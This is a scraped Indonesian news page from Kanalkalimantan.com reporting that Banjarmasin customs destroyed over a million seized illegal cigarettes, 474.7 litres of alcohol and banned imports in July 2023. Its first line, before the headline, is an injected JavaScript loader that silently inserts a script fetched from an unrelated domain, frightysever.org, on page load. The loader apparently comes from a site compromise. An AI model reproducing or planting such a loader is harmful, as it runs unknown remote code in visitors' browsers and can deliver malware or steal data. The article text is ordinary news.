(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bea Cukai Banjarmasin Musnahkan Rokok dan Alkohol Ilegal


KANALKALIMANTAN.COM, BANJARMASIN – Kantor Pengawasan dan Pelayanan Bea dan Cukai Banjarmasin memusnahkan sejumlah barang hasil penindakan sepanjang tahun 2022 dan 2023.

Barang bukti yang dimusnahkan berupa jutaan batang hasil tembakau, minuman mengandung etil alkohol, dan paket barang bekas kepabeanan yang sebelumnya disita dan telah menjadi milik negara.

Kepala Kantor Bea Cukai Banjarmasin Edy Susetyo mengatakan, jumlah batang hasil tembakau yang dimusnahkan sebanyak 1.095.340, sebanyak 474,7 liter minuman mengandung etil alkohol, dan 14 paket barang hasil bekas kepabeanan.

“Perkiraan nilai seluruh barang yang dimusnahkan sebesar Rp1.340.665.160,” katanya, Rabu (26/7/2023) siang.

Baca juga: Eks Kepala PPATK Jadi Saksi Ahli Sidang Korupsi Mantan Bupati HST

Barang batang hasil tembakau dan minuman etil alkohol yang dimusnahkan disebutkan melanggar ketentuan Undang-Undang Nomor 11 tahun 1995 tentang cukai sebagaimana diubah dengan Undang-Undang Nomor 38 tahun 2007 dengan penggunaan pita cukai bekas, pita cukai palsu, dan tidak dilekati pita cukai.

“Mengakibatkan kerugian negara sebesar Rp881.290.940,” ungkap Kepala Bea Cukai Banjarmasin.

Sedangkan untuk barang eks kepabeanan yang dimusnahkan disebut melanggar ketentuan Undang-Undang Nomor 10 tahun 1995 tengang Kepabeanan sebagaina diubah dengan Undang-Undang Nomor 17 tahun 2006 yaitu barang yang dilarang atau dibatasi untuk diimpor.

Baca juga: 219 Desa di HSU Gelar Pemilihan Anggota BPD Serentak

Barang hasil penindakan tersebut dimusnahkan dengan cara dibakar, dirusak dengan mesin pemotong, dituang ke dalam drum dan ditimbun ke dalam tanah.

Barang yang dimusnahkan telah mendapatkan persetujuan untuk dilakukan pemusnahan dari Derektorat Jenderal Kekayaan Negara sesuai PMK-51/PMK.06/2021 tentang Pengelolaan Barang Milik Negara yang Berasal dari Aset Eks Kepabeanan dan Cukai.

Pemusnahan yang digelar dihalaman Kantor Bea Cukai Banjarmasin disaksikan oleh perwakilan Kejaksaan, TNI, Polri, Satpol PP, Direktorat Jenderal Kekayaan Negara, dan Perusahaan Jasa Titipan. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

6 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

6 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

11 jam ago

Resmikan Puskesmas, Bupati Banjar Harapkan Pelayanan Terbaik kepada Masyarakat

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More

12 jam ago

Bupati HSU Bersama Dandim Tinjau Lokasi TMMD di Desa Hambuku Hulu

‎KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More

12 jam ago

‎TMMD Ke-127 Dimulai, Bupati HSU: TNI Berperan Aktif Percepat Pembangunan Pedesaan

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More

12 jam ago

This website uses cookies.